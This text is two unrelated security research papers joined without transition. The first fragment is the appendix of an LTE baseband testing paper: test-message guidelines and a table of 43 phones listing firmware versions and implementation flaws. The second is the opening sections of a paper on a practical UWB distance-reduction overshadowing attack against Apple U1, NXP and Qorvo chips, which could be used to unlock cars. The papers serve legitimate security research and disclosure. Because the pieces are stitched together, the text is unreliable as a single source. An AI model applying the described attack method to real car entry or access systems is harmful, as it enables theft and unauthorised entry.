UE to communicate with legitimate eNB.

B Handling Silent Test Message Acceptance
In this section, we describe how we identify the test mes-
sages being accepted or rejected by the UE via ADB/DM if
a UE has no corresponding response (i.e., Attach reject, EMM
information, and RRCConnectionRelease).
EMM information. We use ADB to determine whether the
test case of EMM information is accepted by the UE. This is be-
cause EMM information is used for changing NITZ information,
which ADB can monitor by using date ADB command.
Attach reject. We use DM to determine whether the test
cases of Attach reject are accepted by the UE. The UE’s cor-
responding action to the legitimate Attach reject is to changes
its EMM state to DEREGISTERED which the NAS specifi-
cation defines. We monitor such state changes by using DM
tools, which show the UE’s current EMM state. For example,
when the state of UE is changed, the chipset produces DM
logs notifying the current UE state information.
RRC connection release. We use DM to identify the UE’s
acceptance to the test message of RRCConnectionRelease. Once
the UE accepts the RRCConnectionRelease, it destroys radio con-
nection to eNB including all radio bearers and signaling radio
bearers. Its RRC state is then changed to RRC IDLE, which
we can monitor by DM.
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Table 5: Generated guidelines and the corresponding number of test cases. Note that if the guideline involves two IEs (i.e., handover procedure by using
RRCConnectionReconfiguration), DOLTEST adds both IEs in generating test cases. We omitted non-trivial IE values for brevity. The * represents the wildcard
explained in §5.2.2. We used RRC specification version 15.10.0 NAS specification version 16.5.1.

Guideline
Protocol No. State Security Header Type Message Type IE MAC Reference # of test cases

for each state Page #

1 * N/A RRCConnectionReconfiguration drb-ToAddModList: {...} * A.6, 5.3.1.1 in [7] 2 68p
2 * N/A RRCConnectionReconfiguration srb-ToAddModList: {SRB2} * A.6, 5.3.1.1 in [7] 2 39p
3 * N/A RRCConnectionReconfiguration measConfig: {...} * A.6, 5.5.5.1 in [7] 2 68p

4 * N/A RRCConnectionReconfiguration mobilityControlInfo: {...} * A.6, 5.6.5.1 in [7] 2 918p, 72psecurityConfigHO: {...}
5 * N/A RRCConnectionRelease ... * A.6 in [7] 2 918p
6 * N/A SecurityModeCommand integrityProtection: {EIA1, EIA2, EIA3}c * A.6, 5.3.1.2 in [7] 10 70p
7 * N/A UECapabilityEnquiry ... * A.6, 5.6.3.2 in [7] 2 230p
8 * N/A counterCheck ... * A.6 in [7] 2 918p
9 * N/A UEInformationRequest ... * A.6, 5.6.5.2 in [7] 2 919p

RRC

10 * N/A DLInformationTransfer ... * A.6 in [7] 2 918p

11 * * Identity Request Identity Type2: {IMSI}c * 4.4.4.2 in [4] 124 50p, 51p
12 * * Security Mode Command integrityProtAlgorithm: {EIA1, EIA2, EIA3}c * 4.4.4.1, 4.4.4.2 in [4] 155 50p
13 * * GUTI Reallocation Command ... * 4.4.4.2 in [4] 31 50p, 51p
14 * * EMM Information ... * 4.4.4.2 in [4] 31 50p, 51p
15 * * Downlink NAS Transport ... * 4.4.4.2 in [4] 31 50p, 51p
16 * * Attach Reject EMM cause:{#25} * 4.4.4.2, 5.5.1.2.5 in [4] 31 50p, 51p, 129p

NAS

17 * * Attach Accept ... * 4.4.4.2 in [4] 31 50p, 51p

Table 6: A full list of tested devices including device name, phone vendor, baseband vendor, chipset model, firmware version, last updated date, and
vulnerabilities of each. We used the latest firmware of a device when we started testing it and have not patched it since then to reproduce our experiments. Please
refer to Tab. 3 and §6.1 for a detailed description of the implementation flaws.

# Name Phone
vendor

Baseband
vendor

Chipset
model

Firmware
version

Last update
(YYMM) Implementation flaw

1 iPhone 6 Apple Qualcomm MDM9625 7.21.00 / 7.80.04 1810/2101 S1,S3,I1 / S2,S3,I1
2 iPhone 8 Apple Intel XMM 7480 4.02.01 2103 I3
3 iPhone XS Apple Intel XMM 7560 1.03.08 1902 I3
4 iPhone 12 Pro Apple Qualcomm Snapdragon X55 1.62.11 2104 -
5 Y9 Huawei HiSilicon Kirin 659 21C60B269S003C000 1806 S3,I3
6 P10 Lite Huawei HiSilicon Kirin 658 21C60B268S000C000 1711 I3
7 P10 Huawei HiSilicon Kirin 960 21C30B323S003C000 1805 I3
8 Mate 10 Pro Huawei HiSilicon Kirin 970 21C10B551S000C000 1801 I3
9 P20 pro Huawei HiSilicon Kirin 970 21C20B369S007C000 1904 I3

10 Mate 20 pro Huawei HiSilicon Kirin 980 21C10B687S000C000 1812 I3
11 X401 LG Mediatek MT6750 MOLY.LR11.W1552.MD.TC01.LVSF.SP.V1.P22 1802 S2,M1
12 X6 LG Mediatek Helio P22 MT6762 MOLY.LR12A.R3.TC01.PIE.SP.V1.P10.T12 1907 S2
13 K50 LG Mediatek Helio P22 MT6762 MOLY.LR12A.R3.TC01.PIE.SP.V1.P26 2012 S2
14 G6 LG Qualcomm MSM8996 Snapdragon 821 MPSS.TH.2.0.1.c3.1-00024-M8996FAAAANAZM-1.142344.1.143233.1 1804 S1,S2,S3
15 V35 ThinQ LG Qualcomm SDM845 Snapdragon 845 MPSS.AT.4.0.c2.9-00057-SDM845_GEN_PACK-1 1901 S1,S2
16 G7 ThinQ LG Qualcomm SDM845 Snapdragon 845 MPSS.AT.4.0.c2.9-00088-SDM845_GEN_PACK-1.299473 2008 S2
17 G8 ThinQ LG Qualcomm SM8150 Snapdragon 855 MPSS.HE.1.0.c4-00104-SM8150_GEN_PACK-1 2101 S2
18 V50 LG Qualcomm SM8150 Snapdragon 855 MPSS.HE.1.5.c4-00270.1-SM8150_GENFUSION_PACK-1.215515.14 1909 S2
19 Oppo find X OPPO Qualcomm SDM845 Snapgragon 845 Q_V1_P14,Q_V1_P14 1808 S1
20 Galaxy S4 Samsung Qualcomm MSM8974 Snapdragon 800 E330KKKUCNG5 1609 S1,S2,S3,M1,M2,I1,I2,I3
21 Galaxy S5 Samsung Qualcomm MSM8974AC Snapdragon 801 G900VVRU1ANI2 1411 S1,S3,M1,M2,I2
22 Galaxy S5 A Samsung Qualcomm APQ8084 Snapdragon 805 G906LKLU1CPK2 1612 S1,S2,S3,M2,I1,I2,I3
23 Galaxy Note5 Samsung Samsung Exynos 7 (7420) N920SKSU2DQH2 1708 S2,M1,I2
24 Galaxy S6 Samsung Samsung Exynos 7 (7420) G920SKSU3EQC9 1704 S2,M1,I3
25 Galaxy Note FE Samsung Samsung Exynos 8 (8890) N935JJJU4CTJ1 2102 S2,M1
26 Galaxy Note8 Samsung Samsung Exynos 9 (8895) N950NKOU4CRH2 1810 S2,M1
27 Galaxy S8 Samsung Qualcomm MSM8998 Snapdragon 835 G950U1UES5CSB2 1902 S1,S2,S3
28 Galaxy Note9 Samsung Samsung Exynos 9 (9810) N960NKOU3DSLA 1912 S2,M1
29 Galaxy S10 Samsung Samsung Exynos 9 (9820) G977NKOU2BTA2 / G977NKOU4DK1 2001/2011 S2,M1,I1,I2 / S2,M1,I1
30 Galaxy S10 Samsung Qualcomm SM8150 Snapdragon 855 G977UVRS3YSJK 1911 -
31 Galaxy A31 Samsung Mediatek Helio P65 MT6768 A315NKOU1BUA1 2102 S2
32 Galaxy S20 Samsung Qualcomm SM8250 Snapdragon 865 G981NKSU1CTKD 2011 -
33 Galaxy A71 Samsung Samsung Exynos 9 (980) A716SKSU1ATF4 / A716SKSU3BTL2 2006/2012 S2,M1,I1,I2 / S2,M1,I1
34 Galaxy Note20 Samsung Qualcomm SM8250 Snapdragon 865 N986NKSU1CUC9 2103 -
35 Redmi 5 Xiaomi Qualcomm SDM450 Snapdragon 450 MPSS.TA.2.3.c1-00522-8953_GEN_PACK-1_V042 1712 S1,S3
36 Redmi note 4x Xiaomi Qualcomm MSM8953 Snapdragon 625 953_GEN_PACK-1.122638.1.123338.1 1712 S1,S3
37 Mi Max 3 Xiaomi Qualcomm SDM636 Snapdragon 636 AT32-00672-0812_2359_46aa9a7 1807 S1
38 Mi 5S Xiaomi Qualcomm MSM8996 Snapdragon 821 TH20c1.9-0612_1733_9fe7ce8 1805 S1,S3
39 Mi Mix 2 Xiaomi Qualcomm MSM8998 Snapdragon 835 AT20-0608_2116_6c4a86b 1805 S1,S3
40 Black Shark Xiaomi Qualcomm SDM845 Snapdragon 845 00888-SDM845_GEN_PACK-1.163713.1 1811 S1
41 POCOphone F1 Xiaomi Qualcomm SDM845 Snapdragon 845 AT4.0.c2.6-144-1008_1436_e3055ba 1809 S1
42 ZTE Blade V8 Pro ZTE Qualcomm MSM8953 Snapdragon 625 -8953_GEN_PACK-1.79091.1.79899.1 1612 S1,S3
43 ZTE Axon 7 ZTE Qualcomm MSM8996 Snapdragon 820 TH.2.0.c1.9-00104-M8996FAAAANAZM 1712 S1,S3
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Abstract

We present the first over-the-air attack on IEEE 802.15.4z

High-Rate Pulse Repetition Frequency (HRP) Ultra-Wide

Band (UWB) distance measurement systems. Specifically, we

demonstrate a practical distance reduction attack against pairs

of Apple U1 chips (embedded in iPhones and AirTags), as

well as against U1 chips inter-operating with NXP and Qorvo

UWB chips. These chips have been deployed in a wide range

of phones and cars to secure car entry and start and are pro-

jected for secure contactless payments, home locks, and con-

tact tracing systems. Our attack operates without any knowl-

edge of cryptographic material, results in distance reductions

from 12 m (actual distance) to 0 m (spoofed distance) with

attack success probabilities of up to 4 %, and requires only

an inexpensive (USD 65) off-the-shelf device. Access control

can only tolerate sub-second latencies to not inconvenience

the user, leaving little margin to perform time-consuming ver-

ifications. These distance reductions bring into question the

use of UWB HRP in security-critical applications.

1 Introduction

Ultra-Wide Band chips that measure distance are being mas-

sively deployed in smartphones, cars, and other products

[5,32,52]. Applications range from entry and start systems in

cars to mobile payments, contact tracing, spatial awareness,

and indoor localization. In addition to enhanced precision

compared to more traditional signal strength based ranging,

UWB aims to provide security against relay and distance re-

duction attacks [23], which have been used in practice for car

thefts and attacks on contactless payments [16, 33, 59].

The recently adopted IEEE 802.15.4z standard [4] aims to

address known distance reduction attacks. It introduces two

ranging modes: Low-Rate Pulse Repetition Frequency (LRP)

and High-Rate Pulse Repetition Frequency (HRP). Although

both modes are used in automotive applications, primarily for

Passive Keyless Entry and Start (PKES) systems [5,11,17,56],

HRP has seen adoption in Apple iPhones and AirTags, as well

as Samsung phones and SmartTags [10, 51, 55]. Despite its

standardization and deployment, no public example imple-

mentations or standardized algorithms for security-relevant

functionality exist. IEEE 802.15.4z focuses on message for-

mats without mandating in detail how ranging is done and

protected at the endpoints.

This paper demonstrates the first practical over-the-air dis-

tance reduction attack against the UWB IEEE 802.15.4z HRP

mode. Even though HRP security has been recently studied,

these studies were done in simulations [58]. We refine existing

attacks, introduce a new one, and demonstrate their feasibility

in practical settings with Apple U1 (iPhone/AirTag/Home-

Pod), NXP Trimension SR040/SR150, and Qorvo DWM3000

chips. Our attack enabled a successful distance reduction of

up to 12 m with an overall success rate of 4 %, which is higher

than what is generally accepted for relevant applications. Typ-

ically, false acceptance rates are 1/220 for gate access control

and 1/248 for mobile payments, such that it would take days to

years until a fake measurement gets accepted.

Manufacturers advertise some of the evaluated chips as

secure ranging capable [38]. We performed our tests using the

configurations that are openly accessible on these chips. Since

security algorithms and parameters are not public in the chips

that we tested (Apple, NXP, Qorvo), it is hard to determine

if these systems can be configured differently and if these

alternative configurations would be vulnerable to our or other

attacks. Additionally, the past has shown that undisclosed

wireless protocols can signify security-by-obscurity solutions

[28, 60]. Prior work [58] further suggests that making HRP

ranging both secure and reliable is likely hard.

The deployment and use of UWB will presumably increase

in the future. The FiRa consortium [18] has been founded

to contribute to the development and widespread adoption

of UWB technologies in the context of secured fine ranging

and positioning. The Car Connectivity Consortium recently

published Digital Key Release 3.0, enabling PKES via UWB

in combination with Bluetooth Low Energy [13]. At least one

car manufacturer has already announced that it will support

the iPhone as an access token for PKES, citing UWB as a
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ranging mechanism [11]. Since UWB as an access system is

a new protocol, it might take time until malicious actors can

fully understand and bypass security checks [61]. However,

systems in cars and other areas related to access control have

to be secure for decades after initial deployment. Therefore,

we see this work as another step towards a better understand-

ing of the security of UWB HRP.

In summary, we make the following contributions:

• We introduce the first practical distance reduction at-

tack on IEEE 802.15.4z HRP. This amendment defines

cryptographically generated high-rate pulse sequences

for Time of Arrival (ToA) measurement, whose unpre-

dictability is supposed to prevent distance reduction by

preventing the attacker from transmitting valid signals

earlier than the victim. Our attack operates in a black-

box manner and assumes neither knowledge of crypto-

graphic material shared between the attacked devices nor

access to (randomized) ranging message content before

messages are transmitted. This attack not only validates

observations from simulation-based studies of HRP but

also introduces a novel attack dimension—it selectively

varies the power of the injected packet per packet field.

The power level is independently adjusted for different

fields so that the injected signal is neither perceived as an

additional packet nor as jamming the legitimate one. Our

attack can therefore also be seen as a type of selective

overshadowing.

• We implement our attack on inexpensive (USD 65),

commercial off-the-shelf components and demonstrate

it on Apple iPhones and AirTags (U1 chip) and on

iPhones interoperating with NXP SR040/SR150 and

Qorvo DWM3000 UWB chips. We evaluate our attack

through a series of experiments and show that the at-

tacker can reduce the measured distances from 12 m to

0 m (measured distance). During normal execution, the

measurement error is between 10 cm and 20 cm. With a

success rate as high as 4 %, our attack suffices to deceive

ranging systems that rely on single HRP measurements.

• We discuss the implications of our results to different ap-

plications and use cases and the applicability of different

mitigation techniques in practical settings.

• We responsibly disclosed our findings to Apple, and

NXP, and are in the process of disclosing to Qorvo.

The rest of the paper is organized as follows. In Section 2,

we provide background on UWB secure distance measure-

ments. In Section 3, we present our attack. We discuss our

experimental results in Section 4. Finally, we reflect on the

security of HRP UWB in Section 5 and compare it to related

work in Section 6 before concluding in Section 7.

2 Background

In this chapter, we provide the necessary background on Time-

of-Flight (ToF) HRP UWB. We first introduce the concept

of ToF ranging and show how HRP uses cross-correlation to

determine the ToF before explaining security considerations

behind HRP. Finally, we provide a brief overview of available

HRP chips and products.

2.1 UWB Secure Ranging

The simplicity and practicality of relay attacks on PKES sys-

tems [16, 23, 59] urged a paradigm shift in secure ranging.

Utilizing a signal’s ToF is promising since a relay can only

increase the ToF and, thus, the measured distance. However,

research in this field has shown that such systems can still be

vulnerable to more sophisticated attacks, such as Cicada [43]

or Early Detect/Late Commit (ED/LC) [41].

UWB aims to implement secure ranging, including

physical-layer security [19]. IEEE 802.15.4 proposes two

modes for UWB ranging named LRP and HRP. They are

both subject to stringent power limitations, as their channels

overlap with frequency bands used by existing technologies,

such as Wi-Fi or cellular networks. While LRP approaches

the power limit by using fewer but stronger pulses (each in-

dividually ‘visible’ to the receiver), HRP relies on a larger

number of weaker pulses (which cannot be individually de-

coded in most environments by the receiver). This difference

in design has consequences; while the security of LRP is

easy to demonstrate, the resilience of HRP against reduction

attacks is an open research question. Recent in-simulation

analysis has shown that HRP might be hard to configure to

be both performant and secure [58].

2.1.1 Two-Way Ranging

The IEEE 802.15.4 standard defines three different rang-

ing and localization methods, namely Single-Sided Two-

Way Ranging (SS-TWR), Double-Sided Two-Way Ranging

(DS-TWR), and Time Difference of Arrival (TDOA); our

work focuses on SS-TWR and DS-TWR.

SS-TWR is depicted in Figure 1a, which shows how ToF

for the distance calculation can be determined by subtracting

Treply, the processing time of the responder, from Tround , the

total round trip time measured by the initiator. Dividing the

result by two yields an estimation of the propagation delay

T̂prop, or the ToF required by the signal to cover one way.

However, this result may be affected by a possible clock fre-

quency offset between initiator and responder. If the initiator

can measure this offset, it can compensate for it and improve

the measurement.

DS-TWR, as shown in Figure 1b, mitigates the clock off-

set by transmitting more messages. DS-TWR comprises two

SS-TWR exchanges in opposite directions. Treply and Tround
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(a) Single-sided two-way ranging.
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(b) Double-sided two-way ranging with three messages.

Figure 1: The principle of two-way ranging [4].

are measured with both devices/clocks, significantly reducing

errors induced by clock offset and drift. DS-TWR is opti-

mized by simultaneously using the response message of the

first exchange as the request message of the second, thus

reducing the procedure to three ranging messages. The deriva-

tion of the propagation time formula can be found in [36].

2.1.2 Receiver Design and Cross-Correlation

Most RF communication technologies rely on cross-

correlation to detect the presence of an incoming message. In

UWB, the receiver constantly scans the acquired signal for a

static (pre-negotiated) preamble using a local template. The

received signal is digitized and recorded as I/Q samples fed

into a correlator. If the output exceeds the level for noise by a

certain amount, the receiver concludes that a packet must be

present and analyzes the signal further.

In practice, this process has to be optimized to cope with

channel distortions, most notably multi-path fading. During

transit, objects in the vicinity reflect the signal, which creates

copies of the signal that are slightly delayed in time, as shown

in Figure 2. Those copies are superimposed onto the original

signal, causing constructive or destructive interference. There-

LoS NLoS

RX

TX

Power

tRXLeading Edge

NLoS

LoS

Figure 2: In a Non-Line-of-Sight (NLoS) scenario, the re-

ceiver needs to detect the arrival time of the early Line-of-

Sight (LoS) copy (leading edge).

fore, a momentary output of the correlation is non-conclusive,

and instead, the Channel Impulse Response (CIR), i.e., the

correlation output over time, must be inspected. The CIR

greatly supports the search for a known template in the re-

ceived signal and can determine the precise arrival time of a

packet. The CIR can be estimated as follows:

CIR[t] = (gloc ∗ s)[t] =

|gloc|−1

∑
m=0

gloc[m] · s[m+ t]

where s[·] is the complex and time-discrete received signal,

gloc[·] is the template of the expected signal, and ∗ denotes

cross-correlation.

As shown in Figure 3, HRP UWB ranging relies heavily

on cross-correlation, to detect and determine the arrival times

of preamble and a Scrambled Timestamp Sequence (STS).

We explain STS in the next section. A UWB receiver cross-

correlates the incoming signal with a template (e.g., a known

sequence) for the preamble and, if present, also with a known

template for the STS. High correlation values imply similari-

ties between the template and the received signal. However,

the CIR only shows a single distinct peak in perfect conditions.

Due to multi-path, the CIR often shows a profile containing

several peaks, and it is not straightforward to identify the first

peak/path that reflects the actual physical distance. Construc-

t
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Figure 3: The CIR is calculated based on the received signal

and a local template of the expected signal. A correlation peak

indicates high similarity. However, with multi-path effects,

there are multiple peaks. The receiver identifies the first LoS

path, e.g., by searching back in time from the strongest peak.
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tive and destructive interference can lead to a CIR where the

first path emerges as a peak with an amplitude significantly

below the maximal value. To be precise, even in absence of

multi-path, an additional source of noise in the CIR is the

non-ideal (auto)correlation of the STS. Ideally, we would ex-

pect a CIR peak only when incoming STS and local template

are perfectly aligned in time. In practice, if the two copies

are shifted by a multiple of the pulse rate, they might still

exhibit some similarity (some of the bits will randomly be the

same), causing additional noise in the form of (significantly)

smaller side lobe peaks. Channel and receiver noise make the

search for the first path and thus the correct distance even

more challenging.

2.1.3 High-Rate Pulse Repetition (HRP)

HRP mode of IEEE 802.15.4 uses a high pulse repetition fre-

quency of 64 MHz. The spacing between pulses is narrow

and, to meet stringent restrictions on power spectral density

(−41.3 dBm/MHz) [1], the power per pulse is low, in the or-

der of −80, instantaneous dBm (at the antenna port). The

information elements of a packet are either encoded with

Burst-Position Modulation (BPM) using Binary Phase Shift

Keying (BPSK) or just BPSK symbols. In BPM-BPSK, a

symbol can encode two bits by varying the position of the

burst and the polarity of the pulses, while in BPSK, a positive

polarity pulse encodes a bit of value zero, and a negative polar-

ity pulse (180° phase shift) encodes a bit of value one. Most

UWB channels are 499.2 MHz wide, which is the bandwidth

used by all our tested devices. At 499.2 MHz, the duration of

a pulse is in the order of 2 ns.

HRP PHY Packet It is essential for the attacks described

in this paper to understand the HRP packet construction and

pulse sequence. Figure 4 shows the different segments that

constitute an HRP ranging message using an STS. The packet

preamble is used to detect the presence of a ranging mes-

sage. The STS contains a cryptographically-secure pseudo-

random bit sequence for security purposes, and the data seg-

ment may be used to transmit additional information. The

Start-of-Frame Delimiter (SFD) should be taken as a refer-

ence to calculate the propagation delay, and the PHR carries

the physical header of the packet. We refer interested readers

to the official release of the IEEE 802.15.4 standard for a more

detailed description of the PHY [2].

Scrambled Timestamp Sequence (STS) The preamble

is a pre-defined and static sequence of pulses representing

−1, 0, and 1, modulated using a ternary code, i.e., positive,

negative and no pulse. In contrast, the STS consists of BPSK-

Preamble SFD STS PHR Data payload

Figure 4: Example format of an HRP packet [4]. The field

lengths and their order depend on the configuration.

modulated pulses representing −1 and 1. The bit sequence

in the STS is the output of a pseudo-random generator and

derived as outlined in Figure 5. The ranging devices need to

agree on a 128-bit key, e.g., by using an out-of-band chan-

nel, before the UWB ranging operation can commence. A

fresh STS is generated for every ranging message, as the

ST S V Counter increases with every packet. The ranging de-

vices know the expected STS bit sequence in advance, and

they can create a local template to detect the incoming STS

using cross-correlation as described in Section 2.1.2. Since

the STS contents cannot be predicted, it is theoretically impos-

sible for an external source to emit a signal that arrives at the

targeted device earlier in time and still contains the legitimate

STS; only the legitimate device knows which data/signal to

send. As a result, ranging devices can base the ToA of the

packet on the arrival time of the STS and thereby guarantee

that no external adversary reduces the measured distance by

advancing the received signal in time. Moreover, it is also

impossible to react to isolated pulses and send those earlier in

time since the BPSK pulses as part of the STS are only about

2 ns long. An adversary cannot acquire the polarity of a single

pulse in sufficient time, which makes any replay or ED/LC

attack physically impossible. In any case, advancing pulses

would only yield a 2 ns reduction at the maximum, translating

to less than 60 cm in distance.

Channel Distortion and Multi-Path Fading UWB rang-

ing packets are subject to channel noise and multi-path fading,

rendering the (direct) demodulation of single pulses of the

STS intricate and in some channel conditions impossible. At a

64 MHz pulse repetition frequency, the pulse spacing is in the

order of 16 ns, which is shorter than the typical channel delay

spread. As a consequence, inter-pulse interference and multi-

path fading effects make separate pulses unrecognizable. To

work around this, HRP detects STS by cross-correlating the

received signal with the expected STS, similar to preamble

detection. Although cross-correlation is a powerful tool to

determine the presence of the STS, the computed Channel

Impulse Response (CIR) often shows a profile that contains

multiple correlation peaks, and pinpointing the exact arrival

time remains challenging. The CIR is a superposition of cross-

correlation side peaks and weak early path correlation peaks.

STS[0] ... STS[n-1] STS[n] STS[n+1] ... STS[31]

AES-128

128-bit Value V

STS V Upper STS V Counter = n 128-bit Key

Data

Key

Figure 5: Cryptographically secure STS generation with AES

in counter mode. Each iteration results in a random 128-bit

block. The STS V Counter is incremented for every iteration.

The entire STS comprises 32 blocks, or 4096 bits [4].
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Figure 3 shows two pulses after reception (in red) and the

template used by the receiver (in grey). The resulting CIR

(in blue) exhibits multiple peaks. The highest peak does not

necessarily correspond to the LoS path of the signal. Even

before the strongest correlation value, any HRP receiver must

check for additional peaks within a specific time window.

Such a peak might suggest an earlier but weaker copy of the

signal, which belongs to a shorter path. By using this path as

a reference, the receiver can compute a more accurate ranging

result. Details on how the time of arrival of the STS is deter-

mined are not specified in the standard for HRP. At the time

of writing, the exact procedure remains protected intellectual

property for all commercially available HRP transceiver chips

we have evaluated.

2.1.4 Ideal versus Real Security Guarantees

If every pulse contained in the STS would be demodulated,

absent of noise and channel effects, the receiver could verify

every single bit in the sequence. However, in HRP UWB, the

4096 bit long STS does not result in 4096 verifiable bits. First,

the entropy of the key used for AES in counter mode is only

128 bits, see Figure 5. Second, since the STS is verified by

correlation instead of single pulse demodulation, any security

guarantee is given by the significance level of the early peak

compared to the overall cross-correlation profile. Non-ideal

cross-correlation properties of random sequences, such as the

STS, can cause side-lobes in the correlation and play a minor

role.

A bit-wise STS comparison instead of cross-correlation

would have to allow for transmission errors, which naturally

happen in NLoS scenarios. IEEE 802.15.4z does not specify

whether the STS should be compared bit-wise after the cor-

relation operation. Even if a vendor implements additional

checks, they need to account for bit flips and choose a thresh-

old that significantly impacts on the security provided by the

STS.

2.2 Commercial HRP UWB Chips

As of now, only a few vendors offer HRP transceiver chips,

despite the fact that HRP-based location and tracking tags

have entered the consumer market at scale [32] and auto-

motive manufacturers are planning to release cars featuring

PKES systems built on top of HRP chips, such as the BMW

iX and the Genesis GV60 models [11, 52]. The FiRa con-

sortium considers HRP viable for both consumer-grade and

security-critical applications alike [19].

Apple has a diverse UWB software and hardware stack.

Different versions of the Apple U1 chip have been released

in recent products, such as the iPhone (since iPhone 11), the

HomePod mini, the Apple Watch (since Series 6), and even

the USD 30 AirTag. On the iPhone, Apple integrated UWB

into AirDrop with iOS 13 [40], using Angle of Arrival (AoA)

measurements to simplify the location of devices and enhance

user experience. With iOS 14, they introduced the Nearby In-

teraction framework, exposing a selected set of UWB-based

ranging functionality to application developers [30]. A com-

patibility mode for third-party accessory support has been

available since the release of iOS 15 [31]. However, details

about the compatibility mode configuration parameters are

only available to Made for Apple (MFi) program members.

NXP advertises their Trimension chip series for secure

ranging and precise positioning [38]. Development kits exist

for the SR150 and SR040 [56]. Our analysis showed that

several Samsung products, for example, the SmartTag+ and

phones starting from Samsung Note20 Ultra [55], contain

NXP chips to enable ranging and improve Point to Share [50]

data transfers. Examples for cars that comprise NXP chips

are upcoming BMW and VW models [53, 54], whereas VW

seems to incorporate LRP chips for PKES use cases [5].

Qorvo, also known as Decawave before their acquisi-

tion [47], manufactures the DW3000 chip series. These chips

are interoperable with the Apple U1 chip [44]. Nevertheless,

to the best of our knowledge, there are no commercially avail-

able products that use the DW3000 series and are compatible

with Samsung or Apple consumer devices. Qorvo also offers

two development kits: DWM3000EVB, an Arduino-based

development board [45], and DWM3001CDK, an integrated

board that contains an nRF52833 with Bluetooth 5.2 [46].

3 A Practical Distance-Reduction Attack

In the following, we explain our attacker model, the theoreti-

cal working principle of our attack, including boundaries of

distance reduction, and the attack algorithm and setup.

3.1 Attacker Model and Attack Overview

We consider an attacker that is trying to reduce the distance

measured between two HRP UWB devices.1 E.g., an attacker

trying to unlock and start a car by tricking it into believing

that the legitimate owner’s car keyfob is near. Even a distance

reduction in the order of a few meters can have a severe

impact, e.g., if the car is parked in front of the legitimate

owner’s house.

We consider a black-box attacker with the following lim-

itations. The attacker has no access to any secrets shared

between victim devices and cannot predict message field con-

tents that are assumed to be unpredictable in HRP UWB;

i.e., the attacker cannot predict the Scrambled Timestamp Se-

quence (STS). Unable to guess the STS, our attacker cannot

simply send a valid packet to advance the message time of

arrival and therefore reduce the distance. The attacker can

1We do not focus on bearing, which is not covered by IEEE 802.15.4z, is

not protected in current implementations, and would likely be vulnerable to

other physical layer attacks.
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Packet 1

Packet 2
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(a) Birds-eye view of attack set-up depicting how

victim devices and attacker are co-located in space.

T1 + Treply + T2

Treply

1 2

d =10 m

Car does not unlock.

(b) No distance reduction attack.

T1 + Treply + T2−δ

Reactive Overshadow

≈ Treply
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1 2+2’

d =1 m

Car unlocks.

(c) Ongoing distance reduction attack.

Figure 6: Overview of a distance reduction attack (a). Two devices determine their relative distance with UWB HRP by

measuring the ToF of packets 1 and 2 (b). The attacker cannot transmit 1 or 2 in advance because their content is unpredictable

(STS). Instead, the attacker transmits a different packet 2’ with random STS’ coarsely aligned over packet 2 (c). At the receiver,

the additional noise caused by 2’ is mistaken for a low-power copy of 2 arrived earlier (T2 −δ), decreasing distance.
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Figure 7: The attacker transmits a carefully crafted packet

(red), coarsely synchronized with the legitimate signal (blue),

and with power sufficiently low to avoid jamming. The STS is

secret and STS’ is randomly chosen by the attacker. Therefore,

at the receiver the correlation peaks caused by the attacker

(red) are lower than those of the strongest path (blue). How-

ever, one of them (‘ghost peak’) is higher than the threshold

for accepting peaks that correspond to legitimate paths, and it

falls inside the back-search window. Therefore, it is mistak-

enly classified as an early path, shorter than the real one.

place its devices in physical proximity to one of the victim de-

vices but has no physical access and cannot tamper with these

devices. The attacker can receive and inject signals on the

wireless communication channel. Specifically, they can craft

and transmit UWB messages based on the HRP standard.

We illustrate our attack in Figure 6 and Figure 7. During

an initial observation phase, the attacker device behaves like

an HRP UWB packet analyzer and resolves the sequences of

packets exchanged by the victim devices. Once the ranging

sequence and its timings have been identified, the attacker

device reactively injects a signal over selected packet compo-

nents (overshadowing), as shown in Figure 6c. The receiver

mistakes the noise induced by overshadowing for an early

copy of the legitimate signal, reducing distance (Figure 7).

Injected overshadowing signals follow the structure of an

HRP PHY packet but are crafted such that different packet

fields are transmitted at different power levels. The attacker

needs to synchronize with packet transmissions. Packets are

sent every few ms, depending on the ranging implementa-

tion. Based on the first packet sent during a ranging sequence,

which triggers the attack, the attacker can adjust its timing,

and then overshadow the following packets belonging to the

same ranging. During overshadowing, the attacker’s synchro-

nization accuracy only needs to be in the order of µs, despite

attacking a protocol that measures timings with ps resolu-

tion [15]. Since the effect of distance on timings (approxi-

mately 3.3 ns per meter) is significantly smaller than the syn-

chronization accuracy, fine-grained tuning is not necessary,

even when distance changes. To establish the necessary trans-

mission power, the attacking device can initially send a strong

signal, then reduce power until distance reductions start to

occur, while not causing any jamming. Tuning happens over

a small set of values, and it requires some coarse adjustments

only if the distance among devices changes considerably (to

account for the quadratic decrease of power caused by propa-

gation). Due to the simplicity of the described tuning process

and the small search space, this is not a problem in practice

(see Section 3.2 and Section 4).

The term overshadowing distinguishes our attack (i.e., over-

lapping an attack signal with the legitimate packet to decrease

the perceived ToA at the receiver) from spoofing (i.e., send-

ing a forged valid copy of the packet in advance, which is

impossible because of the unpredictable STS).

Our attack can be implemented and executed using a sim-

ple and inexpensive off-the-shelf HRP UWB device. There-

fore, no complex laboratory equipment is needed, making

the attack practical and easy to implement. Figure 7 shows

an injected packet aligned with a legitimate packet, and the
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Table 1: Comparison with previous work exploiting leading edge detection.

UWB Standard Security Victim Attacked Field Attacker Attack signal

Ghost Peak IEEE 802.15.4z STS Apple U1 STS Off-the-Shelf Weak Preamble + Strong Random STS

Adaptive [58] IEEE 802.15.4z STS Simulation STS Simulation Pulses at lower rate for shorter time

Cicada++ [58] IEEE 802.15.4z STS Simulation STS Simulation Pulses at lower rate

Cicada [43] IEEE 802.15.4a None Simulation Preamble Simulation Pulses

corresponding CIR at the receiver. The injected packet is

composed of Preamble, SFD, and STS, where the STS is ran-

domly generated without any knowledge of the legitimate

STS. Consequently, the correlation peaks caused by the at-

tacker are smaller than the peak corresponding to the legiti-

mate strongest path. However, one of the peaks (ghost peak)

is high enough to be (mis)classified as a legitimate early peak,

corresponding to a shorter path. The power of each field is

independently adjusted to obtain optimal results, as explained

in more detail in Section 3.2.

In many practical cases, HRP UWB devices use DS-TWR

and possibly exchange additional synchronization or data

packets. This information can also be exchanged out-of-band

(e.g., using Bluetooth [13, 14], NFC, UHF). However, this

pre-negotiation does not impact the attack, which only targets

ToA of packets in the ranging sequence [34]. As shown in

Figure 8, the attack can be easily generalized. By configuring

the delay of reaction after the reception of the first packet, the

attacker can attack any desired packet in the sequence. In the

case of DS-TWR, this can be leveraged to select the device to

attack. Alternatively, an attacker could also use two devices

to attack both ends simultaneously, increasing the chances of

success.

